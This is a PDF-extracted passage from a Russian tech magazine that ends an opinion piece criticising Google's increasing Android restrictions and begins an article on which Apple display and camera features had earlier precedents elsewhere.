можностью  филь тро вать  то,  что  не  дол жно  быть  вид но  всем.  Затем  ста ло
необ ходимо  под тверждать  пра ва  на  чте ние/запись  кар ты  памяти.  Затем
появил ся  безого вороч ный  зап рет  на  пря мую  запись  во  внеш нюю  кар ту
памяти, а так же спо соб под клю чить кар ту памяти как внут реннее хра нили ще
с фор матиро вани ем в ext4 и шиф ровани ем (в дру гие устрой ства уже не вста‐ 
вишь). Закон чилась исто рия под систе мой Scoped Storage, которая точ но так
же отгра ничи вает дан ные одних при ложе ний от дру гих в весь ма извра щен ной
манере.

И все это сосущес тву ет в одной сис теме в 2019 году, ког да кар та памяти
уже,  по  сути,  не  нуж на  и  боль шинс тву  поль зовате лей  не  при гож дает ся.
Но бороть ся с утеч ками хоум‐видео и интимных фоточек почему‐то по‐преж‐ 
нему необ ходимо.

Не навис тный поль зовате лям экран Storage Access Framework

БОРЬБА ЗА КОНФИДЕНЦИАЛЬНОСТЬ
Лад но,  кар ты памяти — боль ная  тема, и  здесь  у сто рон ников идеи все зап‐ 
ретить навер няка най дут ся аргу мен ты в поль зу всех этих мер. Но что ты ска‐ 
жешь  про  дос туп  к  исто рии  звон ков  и  СМС?  В  Android  есть  впол не  себе
легаль ный API, поз воля ющий любому при ложе нию про читать жур нал звон ков
и содер жимое СМС. Страш но? Конеч но, поэто му начиная с Android 6 эти API
защище ны с помощью пря мого зап роса пол номочий у поль зовате ля.

Ка залось  бы,  проб лема  решена,  но  Google  на  этом  не  оста нови лась.
В прош лом году вве ли новые пра вила раз мещения при ложе ний в Google Play:
если  прог рамма  не  отно сит ся  к  диале рам,  СМС‐мес сен дже рам,  ассистен‐ 
там,  инс тру мен там  син хро низа ции  дан ных  или  авто мати зации  дей ствий,  то
дос туп к этим API зап рещен. То есть вмес то того, что бы про вес ти аудит при‐ 
ложе ний  и  выкинуть  из  магази на  те,  что  исполь зуют  API  не  по  наз начению,
Google  прос то  выруби ла  целый  лес  полез ней ших  инс тру мен тов  и  посе яла
в раз работ чиках сом нения («А сто ит ли мне вкла дывать силы и день ги в раз‐ 
работ ку при ложе ния, если в один прек расный момент Google  убь ет исполь‐ 
зуемый им API?»).

А самое смеш ное в этой исто рии, что в Android до сих пор сущес тву ют API,
поз воля ющие  перех ватить  управле ние  поч ти  любым  при ложе нием  (Accessi‐
bilty  Service)  и  рисовать  поверх  экра на  дру гих  при ложе ний  (SYS‐
TEM_ALERT_WINDOW).  При чем  рисовать  могут  любые  уста нов ленные
из Google Play при ложе ния и никакие зап росы пол номочий им делать не нуж‐ 
но.

Те самые пра вила раз мещения при ложе ний

БОРЬБА ЗА БАТАРЕЙКУ
Лад но, закон чим пока с защитой дан ных и перей дем к сох ранению батарей‐ 
ки.  Как  я  уже  говорил,  Android  про екти ровал ся  как  опе раци онка,  которая
налага ет  край не  мало  огра ниче ний  на  раз работ чиков.  Сис тема  оста нав‐ 
ливала  при ложе ния,  перехо див шие  в  фон,  но  в  то  же  вре мя  откры вала  им
дос туп к целому букету средств для выпол нения дей ствий в любое вре мя: тут
и  вей кло ки,  и  фоновые  сер висы,  и  задания  по  рас писанию.  Если  поль‐ 
зователь  под ходил  к  выбору  при ложе ний  ответс твен но,  это  не  соз давало
никаких  проб лем.  Гра мот ные  раз работ чики  не  зло упот ребля ли  фоновым
исполне нием  и  при  этом мог ли  соз давать  дей стви тель но  полез ные  инс тру‐ 
мен ты  вро де  сис тем  уда лен ного  управле ния  устрой ством,  сер верных  при‐ 
ложе ний, сис тем авто мати зации.

Ра зуме ется, рядовые поль зовате ли не оце нили такой сво боды и получи ли
рез кий рас ход заряда акку муля тора из‐за сотен и тысяч уста нов ленных при‐ 
ложе ний, каж дое из которых мог ло в любой момент запус тить фоновый сер‐ 
вис. Мень ше все го повез ло поль зовате лям из Под небес ной, где нет Google
Play, но есть огромное количес тво низ кокачес твен ных при ложе ний. Ситу ация
была  нас толь ко  катас тро фичес кой,  что  каж дый  пер вый  китай ский  про изво‐ 
дитель  начал  встра ивать  в  свои  про шив ки  фун кции  подав ления  фоновой
активнос ти  при ложе ний,  дей ству ющие  так  агрессив но,  что  это  отра жалось
на  работе  мно гих  извес тных  при ложе ний.  Осо бо  отме тилась  в  борь бе
за батарей ку Huawei,  смар тфо ны которой лег ко живут от одно го заряда два
дня, но прев раща ют исполь зование сто рон них при ложе ний в мучение.

Топ‐10 магази нов при ложе ний в Китае

Со  вре менем  в  гон ку  вклю чилась  сама  Google,  но  выб рала  гораз до  более
гуман ные методы.  Так,  в Android 4.4  появи лась сис тема подав ления работы
фоновых  при ложе ний,  но  вмес то  тупой  бло киров ки  работы  фоново го
исполне ния ОС  вычис ляла  наибо лее  про жор ливые  при ложе ния  и  огра ничи‐ 
вала  вре мя  их  работы.  В  Android  6.0  добави ли  под систе му  Doze,  которая
перево дила  устрой ство в режим энер госбе реже ния спус тя  час без дей ствия
устрой ства. Как и в пре дыду щем слу чае, работа при ложе ний не подав лялась
пол ностью,  а  приг лушалась  на  опре делен ные  про межут ки  с  выделе нием
кван тов  вре мени  для  исполне ния.  Наконец,  в  Android  9.0  появил ся  зап рет
на работу фоновых сер висов,  но с нес коль кими ого вор ками:  сер висы могут
работать некото рое вре мя пос ле ухо да при ложе ния в фон или пос ле получе‐ 
ния  при ложе нием  push‐уве дом ления  (огра ниче ние  не  каса ется  «видимых»
(foreground) сер висов). Тог да же была раз работа на фун кция Adaptive Battery,
исполь зующая  ней рон ную  сеть,  что бы  пред ска зывать,  какие  при ложе ния
будут  нуж ны  поль зовате лю  в  каж дый  момент  вре мени,  и  подав лять  работу
неис поль зуемых при ложе ний.

В  этом  слу чае  Google  сра бота ла  дей стви тель но  хорошо  и  не  соз дала
серь езных проб лем поль зовате лям. Пинать их мож но толь ко за слиш ком мед‐ 
ленную  реак цию.  В  то  вре мя  пока  инже неры  Google  делали  вид,  что  проб‐ 
лемы не сущес тву ет, дру гие ком пании уже успе ли «испра вить» ее с помощью
кувал ды.

Китай ская кувал да
В  баг‐тре кере  Android  есть  показа тель ный  ,  из  которо го мож но  узнать
мно го  инте рес ного  о  том,  как  дей ству ют  китай ские  про изво дите ли,  что бы
защитить  поль зовате лей  от  «пло хих»  при ложе ний.  Здесь  и  пол ный  зап рет
на  про буж дение  устрой ства,  и  зап рет  на  отправ ку  широко веща тель ных
интентов  (сис темные  сооб щения)  при  вык лючении  экра на  (для  при ложе ний
не  из  белого  спис ка),  зап рет  на  старт  видимых  сер висов,  и  огра ниче ния
на запуск кон крет ных фун кций телефо на. Этим гре шат прак тичес ки все китай‐ 
цы: Huawei, Xiaomi, Oppo, OnePlus, Nokia, на телефо нах которой работа ет яко‐ 
бы чис тый Android, и даже не очень китай ский Samsung.

ти кет

Нас коль ко силь но про изво дите ли вли яют на работу сто рон них при ложе ‐
ний, источник: dontkillmyapp.com

БОРЬБА С OPEN SOURCE
Google  всег да  пре под носила  откры тый  исходный  код  в  качес тве  одно го
из  глав ных  пре иму ществ  Android  как  плат формы.  Исходный  код  дос тупен
всем, его мож но изме нять для сво их нужд без необ ходимос ти пла тить лицен‐ 
зион ные отчисле ния.

Од нако откры тый не озна чает сво бод ный. Да, исходни ки Android дей стви‐ 
тель но дос тупны всем, да, их мож но исполь зовать без огра ниче ний и вно сить
изме нения. Но не сущес тву ет никако го сооб щес тва, которое бы занима лось
при няти ем решений о даль нейшей судь бе ОС, нет нор маль ной сис темы при‐ 
нятия исправ лений и рас ширений ОС от сто рон них раз работ чиков. Во гла ве
раз работ ки  сто ит  боль шая  кор порация,  руководс тву ющаяся  исклю читель но
сво ими  инте реса ми  и  сот рудни чающая  толь ко  с  избран ными  ком пани ями.
Про цесс  раз работ ки,  по  сути,  зак рыт,  так  как,  за  исклю чени ем  некото рых
изме нений, он ведет ся в сте нах ком пании, а нам оста ется толь ко ждать, пока
Google соиз волит выложить код новой вер сии ОС в сво бод ный дос туп.

Бо лее  того,  то,  что  сегод ня  при нято  называть  сло вом  Android, —  это  не
сов сем  откры тый  исходный  код.  Поверх  AOSP  так же  работа ют  сер висы
Google,  которые,  помимо  сис темы  син хро низа ции  с  обла ком,  вклю чают
в  себя,  нап ример,  такие  важ ные  ком понен ты,  как  сер вис push‐уве дом лений
и сис тема опре деле ния коор динат по сотовым выш кам и точ кам дос тупа Wi‐
Fi. Google Assistant, который сегод ня стал одной из важ ней ших фун кций смар‐ 
тфо на, так же пол ностью зак рыт и не вклю чен в AOSP. Дру гие важ ные фун кции
ОС так же могут быть вре мен но или пос тоян но зак рыты и заб локиро ваны, как,
нап ример, под систе ма Digital Wellbeing, которая появи лась в Android 9 и ста ла
дос тупной  сто рон ним  раз работ чикам  толь ко  в  Android  10.  Сис тема  Motion
Sense не прос то зак рытый ком понент, дос тупный толь ко поль зовате лям Pixel
4, — она недос тупна для сто рон них раз работ чиков (у нее нет откры того API).

По чему  все это  так  важ но? Ведь Google не берет допол нитель ных денег
за  все эти фун кции, они дос тупны на  всех  сер тифици рован ных  устрой ствах,
а  тот  же  Motion  Sense  зак рыт  по  впол не  понят ной  ком мерчес кой  при чине.
Да прос то потому, что боль шинс тво этих ком понен тов тре буют уста нов ки тех
самых сер висов Google, которые авто мати чес ки при вязы вают твой смар тфон
к  кор порации.  Хочешь  кон фиден циаль нос ти?  Уста нови  чис тую  сбор ку  AOSP
и  готовь ся  к  тому,  что  часть  при ложе ний  на  ней  не  заведет ся,  а  осталь ные
будут работать некор рек тно  («Хм, у  тебя тут нет сер виса push‐уве дом лений,
так что не видать тебе уве дом лений»).

От кры тый Android нас толь ко же откры тый, как Telegram. Да, исходни ки его
кли ента дос тупны, но без сер вера они бес полез ны и отста ют на десяток вер‐ 
сий от офи циаль ного кли ента.

БОРЬБА С РАЗРАБОТЧИКАМИ
В раз деле, пос вящен ном кон фиден циаль нос ти, я уже кос нулся того, нас коль‐ 
ко  нап леватель ски  Google  отно сит ся  к  раз работ чикам.  С  помощью  одно‐ 
го‐единс твен ного  решения  она  разом  угро била  мно жес тво  при ложе ний
и оста вила прог раммис тов, вло жив ших силы и день ги в раз витие сво их про‐ 
ектов, не у дел. Точ но так же пос тупа ют с раз работ чиками, которые наруши ли
какие‐то  не  очень  чет ко  сфор мулиро ван ные  пра вила,  с  раз работ чиками,
которые прос то не удо сужи лись про читать новые пра вила раз мещения при‐ 
ложе ний,  с  теми,  кто  исполь зовал  не  сов сем  те  изоб ражения  в  качес тве
скрин шотов,  кто  рек ламиро вал  собс твен ные  при ложе ния.  Бам!  И  твое  тво‐ 
рение прос то исче зает из магази на при ложе ний,  а на email  при ходит сооб‐ 
щение с объ ясне нием при чины в две‐три стро ки. В пер вый раз тебя прос тят
и поз волят вос ста новить при ложе ние,  во вто рой  тоже, а на  тре тий раз  твой
акка унт прос то унич тожат без воз можнос ти соз дать новый.

А самое печаль ное во  всей этой исто рии,  что  ты абсо лют но без защитен
и не име ешь пра ва голоса. В свое вре мя я был искрен не поражен тем, нас‐ 
коль ко коман да G Suite, име ющая пре тен зии к исполь зованию сер виса Gmail
в моем при ложе нии, может быть тер пеливой и уме ющей идти на диалог. Нес‐ 
мотря на то что на все мои воп росы они давали стан дарти зиро ван ные отве ты
с  задер жкой  в  две  недели,  в  срав нении  с  коман дой  Google  Play  они  обес‐ 
печива ли прос то пре вос ходный сер вис под дер жки. Серь езно, даже такой вид
диало га был чем‐то гораз до боль шим, чем диалог с под дер жкой Google Play.

Google  —  ком пания,  пос тро енная  на  идее  авто мати зации  все го  и  вся.
Авто мати чес кое  тар гетиро вание  рек ламы,  авто мати чес кое  ран жирова ние
резуль татов,  авто мати чес кие  под сказ ки  Google  Assistant,  авто мати чес кие
шаб лонные  отве ты  на  воп росы  и  пре тен зии.  Хочешь,  что бы  с  тво ей  проб‐ 
лемой разоб рались, — будь раз работ чиком при ложе ния с мно гомил лион ной
ауди тори ей, ина че ты зас лужива ешь обще ния толь ко с ботом.

А  еще  Google —  это  ком пания,  которая  очень  любит  пло дить  сущ ности.
Вспом ни исто рию с мес сен дже рами, ког да Google каж дые два года выкаты‐ 
вала  новую  сис тему  обме на  сооб щени ями  и  зак рывала  ста рую.  Вспом ни
исто рию всех свер нутых про ектов ком пании. Внут ри Android про исхо дит ров‐ 
но  то  же  самое.  Любая  идея  быс тро  внед ряет ся  и  ста новит ся  частью  API,
а  через  пару‐трой ку  релизов  объ явля ется  уста рев шей. Google может  пред‐ 
ста вить  Android  Architecture  Components  как  спа сение  всех  раз работ чиков
от ада,  который сама же соз дала, и  через  год прис тупить  к раз работ ке Jet‐
pack  Compose,  который  дол жен  будет  спас ти  тех,  кого  не  успе ли  спас ти
в  пре дыду щий  раз.  Они  могут  объ явить  JobScheduler  Свя тым  Гра алем
и  единс твен ной  пра виль ной  сис темой  выпол нения  фоновых  задач,  а  через
два года приз вать всех раз работ чиков миг рировать на WorkManager. Сегод ня
тебе раз решено читать кар ту памяти, а зав тра ты будешь обя зан переде лать
все свое при ложе ние на новый API.

Ес ли ты при ходишь в раз работ ку для Android в 2019 году, боль шую часть
вре мени ты пот ратишь не на изу чение API и осо бен ностей плат формы, а на
то, что бы отсе ять весь бал ласт уста рев ших тех нологий и под ходов и понять,
как  и  почему  сле дует  делать  пра виль но  в  этом  году.  90%  отве тов  на  Stack
Overflow  ока жут ся  невер ными,  полови на    докумен тации  будет
совето вать пло хие решения, полови на при меров уста реет. С одной сто роны
тебе  будут  кри чать  про  RxJava/RxKotlin,  с  дру гой  рас ска зывать  про  Kotlin
Coroutines,  и  ник то  не  рас ска жет,  как  пра виль но.  Потому  что  даже  Google
не зна ет, как пра виль но.

офи циаль ной

Что  с  этим  всем  делать?  Ничего,  при дет ся  учить ся  у  веб‐раз работ чиков
при нимать анар хию как дан ность.

ВЫВОДЫ
В  YouTube  мож но  най ти  выс тупле ние  раз работ чиков  Android,  пос вящен ное
текущей  ситу ации  с  дос тупом  к  фай лам.  Там  они  пря мо  говорят,  что
в будущем в Google Play  появит ся новое пра вило раз мещения при ложе ний:
любые фай ловые менед жеры дол жны будут про ходить допол нитель ную про‐ 
вер ку перед пуб ликаци ей.

Эта  исто рия  показы вает,  что  «зак ручива ние  гаек»  про дол жится  и  в
будущем мы уви дим все новые и новые зап реты. И если у тебя есть аргу мент,
что это  хорошо и это  тот  самый путь Apple,  к  которо му надо стре мить ся,  то
спе шу  разоча ровать.  Google  не  Apple,  а  откры тый  Android  —  это  не  всес‐ 
торон не зак рытая iOS. Android уже живет сво ей жизнью в Китае, а пос ле зап‐ 
рета  уста нав ливать  сер висы  Google  на  смар тфо ны  Huawei  фраг мента ция
толь ко  уси лит ся.  Если  Google  Play  ста нет  жес тко  зарегу лиро ван ной  плат‐ 
формой,  вско ре  у  нее  появят ся  силь ные  кон курен ты,  которые  сде лают  сво‐ 
боду, все доз волен ность и лояль ное отно шение к раз работ чикам сво ей мар‐ 
кетин говой фиш кой. А  это,  в  свою оче редь,  при ведет  к  еще боль шей фраг‐ 
мента ции.

А про игра ют в ито ге все. И Google, и раз работ чики, и поль зовате ли.

mailto:zobnin@glc.ru
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НЕИННОВАЦИОННЫЕ

ИННОВАЦИИ
ОТКУДА РАСТУТ КОРНИ
ТЕХНОЛОГИЙ APPLE

Олег Афонин
Эксперт по мобильной

криминалистике компании
«Элкомсофт»

aoleg@voicecallcentral.com

GEEK

Каж дый год в сен тябре Apple выпус кает обновлен ную линей‐ 
ку  iPhone,  а  чуть  ранее  летом  анон сиру ет  обновле ние  опе‐ 
раци онной  сис темы  iOS.  Ни  один  анонс  не  обхо дит ся
без инно ваци онных и… не сов сем инно ваци онных решений
и  тех нологий.  Трой ная  камера,  умный  режим HDR,  «ноч ной
режим» Night  Shift,  True  Tone,  Liquid Retina Display  и мно гое
дру гое  в  свое  вре мя  были  с  фан фарами  пред став лены
со сце ны. Какие из этих тех нологий были дей стви тель но пер‐ 
выми на рын ке, какие — в роли догоня ющих, а какие сущес‐ 
тво вали  ранее,  но  были  впер вые  доведе ны  до  ума  имен но
инже нера ми  Apple?  Поп робу ем  разоб рать ся  на  при мере
анон сов ком пании за пос ледние нес коль ко лет.

НОЧНОЙ РЕЖИМ NIGHT SHIFT:
КАК ДЕЛАТЬ ПРАВИЛЬНО

Се год ня  ноч ной  режим  экра на,  в  поз дние  часы  пос тепен но  уво дящий  цве‐ 
товую  тем перату ру  в  «теп лые»  оттенки,  стал  при вычен.  Кто‐то  поль зует ся
этим режимом, кто‐то пред почита ет естес твен ную цве топе реда чу, но глав ное
одно: этот режим есть, и есть он прак тичес ки на всех смар тфо нах прак тичес‐ 
ки всех про изво дите лей.

Для  поль зовате лей  про дук ции  Apple  этот  режим  впер вые  появил ся
в 2016 году с выходом 9.3.

Нет, не так.   для поль зовате лей про дук ции Apple этот режим
впер вые появил ся в мар те 2016 года с выходом 9.3. А неофи циаль но задол го
до это го сущес тво вало при ложе ние f.Lux. Нас коль ко «задол го»? На  iOS при‐ 
ложе ние  f.Lux  появи лось  в  2011  году,  а  для  работы  ему  тре бовал ся  джей‐ 
лбрейк.  Вер сия    выш ла  в  2015  году;  поль зовате ли  мог ли
самос тоятель но  уста новить  ее  на  свои  устрой ства.  Впро чем,  уже  в  нояб‐ 
ре 2015 года юри дичес кий отдел Apple зас тавил раз работ чиков   при‐ 
ложе ние из сво бод ного дос тупа, ссы лаясь на пун кты сог лашения,  зап реща‐ 
ющие раз работ чикам исполь зовать при ват ные API. А уже в мар те сле дующе го
года фун кция офи циаль но появи лась в iOS 9.3. Инно вация? Сом нитель но.

Офи циаль но

без  джей лбрей ка

уб рать

А  как  обсто ят  дела  на  дру гих  плат формах?  Режим  Night  Light  появил ся
в  некото рых  (далеко  не  всех)  устрой ствах  с  Android  в  вер сии  Android  7.1.1;
допол нитель ные нас трой ки режима ста ли дос тупны  в Android  8. Для работы
Night  Light  офи циаль но  тре бова лась под дер жка 
(соот ветс твен но, толь ко 64‐раз рядные про цес соры — как и в слу чае с Apple).
В бета‐вер сиях Android  этот режим  то появ лялся,  то исче зал даже на собс‐ 
твен ных  устрой ствах  Google.  Такие  64‐раз рядные  устрой ства,  как  Nexus
9 и Google Pixel C, режим Night Light не получи ли, нес мотря на то что впол не
соот ветс тво вали тре бова ниям.

Hardware Composer HAL 2.0

С под дер жкой Night Light смар тфо нами и план шетами сто рон них про изво‐ 
дите лей дол гое вре мя тоже был пол ный бар дак. Night Light получи ли некото‐ 
рые  смар тфо ны,  вышед шие  с  Android  6  или  7  на  бор ту,  а  некото рые  —
не  получи ли.  А  вот  устрой ства,  выпущен ные  сра зу  с  Android  8  в  2017  году
и поз днее, прак тичес ки все  (за ред кими исклю чени ями) обла дали этой воз‐ 
можностью.  Более  того,  мно гие  про изво дите ли  добави ли  эту  воз можность
в собс твен ные обо лоч ки незави симо от вер сии Android.

В  магази не  Google  Play  пре дос таточ но  при ложе ний,  реали зующих
подобие  ноч ного  режима.  Поль зовате лям  рутован ных  устрой ств  дос тупны
f.Lux  и  CF.lumen.  Осталь ные  могут  исполь зовать  один  из  мно гочис ленных
экранных филь тров со все ми их огра ниче ниями в виде «выц ветших» цве тов,
белесым чер ным и не затенен ной филь тром стро кой сос тояния.

К сло ву, ноч ной режим сей час дос тупен и на компь юте рах с Windows 10.
В  отли чие  от  Apple,  Microsoft  не  ста ла  бло киро вать  при ложе ние  f.Lux,  его
мож но уста новить как с собс твен ного сай та раз работ чиков, так и из магази на
Microsoft Store.

  Apple  не  были  пер выми,  кто  при думал  ноч ной  режим  экра на,
и даже не были пер выми, кто реали зовал подоб ный режим в iOS. Одна ко бла‐ 
года ря тому, что iOS 9.3 ста ла дос тупна сра зу для всех мобиль ных устрой ств
ком пании, вклю чая ста рень кий  iPhone 5s (выпущен ный с  iOS 7 на бор ту), мы
запишем эту воз можность в пра виль ные реали зации.

Вы вод:

TRUE TONE: ДАТЧИК ОКРУЖАЮЩЕГО
ОСВЕЩЕНИЯ И УМНЫЙ СОФТ

Фун кция True Tone ста ла сво еоб разным раз вити ем ноч ного режима. В отли‐ 
чие  от  ноч ного  режима,  который  прос то  уво дит  оттенки  в  «теп лую»  сто рону
с нас тупле нием ноч ного вре мени (самая «прод винутая» часть здесь — узнать
мес тополо жение  устрой ства  и  опре делить  точ ный  момент  захода  сол нца),
тех нология  True  Tone  тре бует  наличия  аппа рат ного  дат чика,  что бы  опре‐ 
делить цве товую тем перату ру окру жения и подс тро ить изоб ражение под нее.

Впер вые  тех нология  появи лась  не  в  iPhone,  а  в  план шете  iPad  Pro  9.7,
который  вышел  в  мар те  2016  года.  Сегод ня  True  Tone  работа ет  на  всех
устрой ствах Apple, обо рудо ван ных соот ветс тву ющим дат чиком. В спи сок вхо‐ 
дят все iPhone, начиная с iPhone 8, все вер сии iPad Pro, кро ме самой пер вой
модели 2015 года, а так же новый iPad mini 5 и iPad Air (2019).

Так же как и в слу чае с ноч ным режимом, у тех нологии True Tone есть свои
любите ли и скеп тики. Я отно шусь  к  тех нологии неод нознач но. С одной сто‐ 
роны, на iPad Pro она реали зова на дос таточ но мяг ко для того, что бы не раз‐ 
дра жать.  А  вот  в  iPhone,  обо рудо ван ных  мат рицами  OLED,  вклю чение  True
Tone момен таль но уво дит экран в жел тизну: про вере но на iPhone X и Xs Max.

А что у кон курен тов? Что‐то подоб ное было еще во вре мена Samsung Gal‐
axy S8 (фун кция Adaptive Display, 2017 год). Впро чем, по отзы вам поль зовате‐ 
лей,  тех нология  выг лядела  кру то  толь ко  на  бумаге.  В  реаль ной  жиз ни  хоть
как‐то  пов лиять  на  кар тинку  мог  толь ко  исклю читель но  силь но  окра шен ный
источник внеш него осве щения, а сам эффект про являлся лишь в нес коль ких
избран ных при ложе ниях (нап ример, в бра узе ре Chrome).

На  самом же  деле  пер выми,  кто  дей стви тель но  хорошо  реали зовал  тех‐ 
нологию,  была  ком пания  Amazon  со  сво им  план шетом  Amazon  Fire  HDX  8.9
(2014). Тех нология называ лась Dynamic Light Control; пос мотреть демонс тра‐ 
цию мож но по  . Прав да, выг лядит замеча тель но? Здесь все как впос‐ 
ледс твии у Apple, толь ко на два года рань ше: и аппа рат ный дат чик цве товой
тем перату ры  окру жающей  сре ды,  и  пра виль ный  драй вер  экра на,  исполь‐ 
зующий аппа рат ные регис тры для изме нения нас тро ек экра на…

ссыл ке

Опи сание  тех нологии  мне,  хоть  я  и  (до  сих  пор)  вла делец  экзем пля ра
план шета Amazon Fire HDX, уда лось най ти с тру дом, а уж кар тинки с демонс‐ 
тра цией  ее  работы  вооб ще  ред кость  и  наш лись  толь ко  на  одном  ресур се.
Почему  же  о  план шете  Amazon  все  друж но  забыли,  а  раз работ чики  Apple
с  тех нологи ей  True  Tone  ста ли  инно вато рами  и  пер воот кры вате лями?  Воз‐ 
можно, потому, что план шет Amazon не снис кал такой популяр ности, как iPad
Pro 9.7. Может быть, дело в  том,  что мар кетин говый отдел Amazon не прод‐ 
вигал эту фун кцию, не объ яснял поль зовате лям ее пре иму щес тва. Или в том,
что  модель  2014  года  ста ла  пер вой  и  единс твен ной,  где  Amazon  исполь‐ 
зовала  тех нологию  Dynamic  Light  Control.  А  может,  при чина  в  том,  что  тех‐ 
нология  прек расно  работа ла  ров но  в  двух  при ложе ниях:  в  читал ке  Kindle
и бра узе ре Silk (это собс твен ный бра узер Amazon, работа ющий в FireOS).

Я  скло нен  счи тать Dynamic  Light Control  стран ной  слу чай ностью,  которая
про изош ла  с  Amazon  по  чьему‐то  недос мотру.  Похоже,  Amazon  уво лила
коман ду  раз работ чиков,  которые  реали зовы вали  этот  режим  (и,  кажет ся,  я
догады ваюсь,  какая  ком пания  их  потом  наняла).  Эту  точ ку  зре ния  кос венно
под твержда ет то, что над реали заци ей новой вер сии ноч ного режима в план‐ 
шетах  Amazon  (Blue  Shade)  работа ла  явно  дру гая  ком пания.  Нас толь ко
нелепой и урод ливой реали зации ноч ного режима я не видел ни у одной ком‐ 
пании ни до, ни пос ле. Полюбуй тесь, ноч ной режим Blue Shade во всей кра се.

Са мое  инте рес ное,  что  в  Amazon  Fire  HDX  8.9  (2014)  могут  одновре мен но
работать оба режима — Dynamic Light Control  (иде аль ная кар тинка, плав ная
подс трой ка, но дей ству ет толь ко в двух при ложе ниях) и Blue Shade (кар тинка
хуже, чем самый ужас ный ужас, работа ет вез де). Раз ница оче вид на.

Ре жим, ана логич ный True Tone, есть в некото рых смар тфо нах LG (модели
G7,  G8,  G8s  Thinq),  но  кто  об  этом  зна ет?  Сде лали  и  сде лали.  А  вот
более‐менее мас сово подоб ная  тех нология исполь зует ся  в  умных дис пле ях
Google  Nest  Hub  и  смар тфо не  Pixel  4.  Тех нологию  наз вали  .
Работа ет  она  совер шенно  замеча тель но:  внеш ний  вид  устрой ств  с  Ambient
EQ  в  домаш нем интерь ере  замет но  выиг рыва ет  по  срав нению с  ана лога ми
от пионе ра тех нологии Amazon, который, к сожале нию, отка зал ся от исполь‐ 
зования тех нологии в сво их устрой ствах Echo Show и Echo Spot.

Ambient  EQ

 ана лог True Tone сущес тво вал задол го до Apple, но ник то не вос‐ 
при нял его  серь езно. Apple  получа ет  с  пол ки  пирожок  за  гра мот ную реали‐ 
зацию  и  пос ледова тель ный  под ход.  Вто рое  мес то  дос тает ся  Google
за  отличную  реали зацию  Ambient  EQ  в  умных  колон ках  с  экра ном.  Amazon
не  получа ет  ничего:  ори гиналь ная  в  2014  году  тех нология  дав но  и  проч но
забыта даже самим пер вопро ход цем.

Вы вод:

DEEP FUSION: ДОГНАТЬ И ПЕРЕГНАТЬ PIXEL!

Дол гое вре мя камеры оста вались сла бым мес том  iPhone. К 2017 году прак‐ 
тичес ки все кон курен ты на Android успе ли обог нать iPhone по качес тву фотог‐ 
рафий.  Даже  на  момент  выхода  фотог рафичес кие  воз можнос ти  iPhone  X
смот релись  откро вен но  блед но  в  срав нении  с  Google  Pixel  с  его  режимом
HDR+.

Ана лог  режима  HDR+  появил ся  в  смар тфо нах  Apple  лишь  с  выходом
линей ки  смар тфо нов  2018  года.  Получив ший  наз вание    новый
режим стал дос тупен лишь в све жем поколе нии устрой ств:  iPhone Xr, Xs и Xs
Max. Увы, никаких улуч шений в обра бот ку фотог рафий на iPhone X не добави‐ 
ли,  нес мотря  на  мощ ней шую  начин ку,  в  разы  пре вос ходящую  пот ребнос ти
вычис литель ной фотог рафии.

Smart  HDR

В моделях 2018 года тех нология дей ству ет толь ко в режиме ZSL (Zero Shutter
Lag), не име ет ана лога HDR+ Enhanced и работа ет толь ко с целыми кад рами,
а не с отдель ными тай лами, как это сде лано у Google.

В новых  iPhone 11 модель ного ряда 2019  года были заяв лены радикаль‐ 
ные  улуч шения.  Тех нология  получи ла  мар кетин говое  наз вание  Deep  Fusion.
С точ ки зре ния поль зовате ля тех нология похожа на режим HDR+ без ZSL (или
на  ноч ной  режим  Pixel).  Новым  iPhone  завез ли  рас позна вание  объ ектов
и попик сель ную обра бот ку вмес то покад ровой; съем ка, склей ка и обра бот ка
кад ров  занима ет  око ло  секун ды.  И  сно ва  прош логод ние  модели  оста лись
не у дел: нес мотря на избы точ ность вычис литель ных ресур сов (по заяв лени‐ 
ям Apple,  про цес сор A12 в  iPhone Xs пре вос ходит Snapdragon 855,  который
более  чем  хорошо  справ ляет ся  с  обра бот кой  HDR+),  прош лое  поколе ние
iPhone оста ется на прош лом же поколе нии Smart HDR. То есть — на уров не
«более‐менее при лич но для прош лого года».

А что у кон курен тов?
Впер вые  о  воз можнос тях  вычис литель ной  фотог рафии  гром ко  заяви ла

ком пания Google в 2016  году,  за два  года до выхода  iPhone Xs и появ ления
режима Smart HDR от Apple. И если режим Smart HDR — это некий «чер ный
ящик»,  о  работе  которо го  мы  зна ем  толь ко  из  мар кетин говых  матери алов
Apple  и  сто рон них  обзо ров,  то  о  Google  HDR+  нам    вплоть
до матема тичес ких фор мул.

из вес тно  все

Вы чис литель ную  фотог рафию  в  том  или  ином  виде  исполь зуют  в  сво их
устрой ствах  прак тичес ки  все  про изво дите ли  флаг манов  на  Android  (кро ме,
навер ное, Sony). А если не исполь зуют — впол не мож но уста новить модифи‐ 
циро ван ный APK Google Camera и получить все или поч ти все воз можнос ти
Pixel.

Для iPhone так же дос тупны сто рон ние при ложе ния, обе щающие все бла га
вычис литель ной фотог рафии. Это и Spectre, и Halide от того же раз работ чика
(кста ти, в их бло ге выходят отличные статьи — вот, нап ример, 

). Проб лема лишь в том, что работа ют они в срав нении с «род ным»
при ложе нием отвра титель но, —  утвер ждаю  как  поль зователь,  купив ший  все
три при ложе ния.

ана лиз режима
Smart HDR

Исто ричес кая справ ка
Что  инте рес но,  склей ку  кад ров  (image  stacking),  лежащую  в  осно ве  HDR+
и  Deep  Fusion,  в  мобиль ных  устрой ствах  впер вые  исполь зовали  вов се  не  в
Google. Пом нишь смар тфо ны Lumia 950 и 950 XL, вышед шие в 2015 году? Их
раз работа ла ком пания Microsoft, и внут ри у них сто яла мобиль ная вер сия ОС
Windows 10. В режиме HDR эти смар тфо ны делали неч то очень похожее на то,
что поз днее появи лось у Google и еще поз же у Apple, а режим PureView был
впол не при лич ным ана логом ноч ного режима. Сним ки получа лись отлично го
качес тва; более того, раз решение фотог рафий смар тфо нов от Microsoft было
не 12 МП,  как  у сов ремен ных флаг манов, а все 20 — при этом не стра дала
ни детали зация, ни уро вень шума. Увы, склей ка HDR не была на смар тфо нах
Lumia мгно вен ной: пос ле каж дого сним ка смар тфон задумы вал ся на нес коль‐ 
ко  секунд. С  прек ращени ем  раз вития  собс твен ной мобиль ной ОС Microsoft
заб росила  и  раз витие  при ложе ния  камеры. Жаль;  на  сов ремен ном  железе,
в сочета нии с качес твен ной опти кой и сен сором, мог бы получить ся силь ный
кон курент Google — но толь ко с точ ки зре ния камеры.

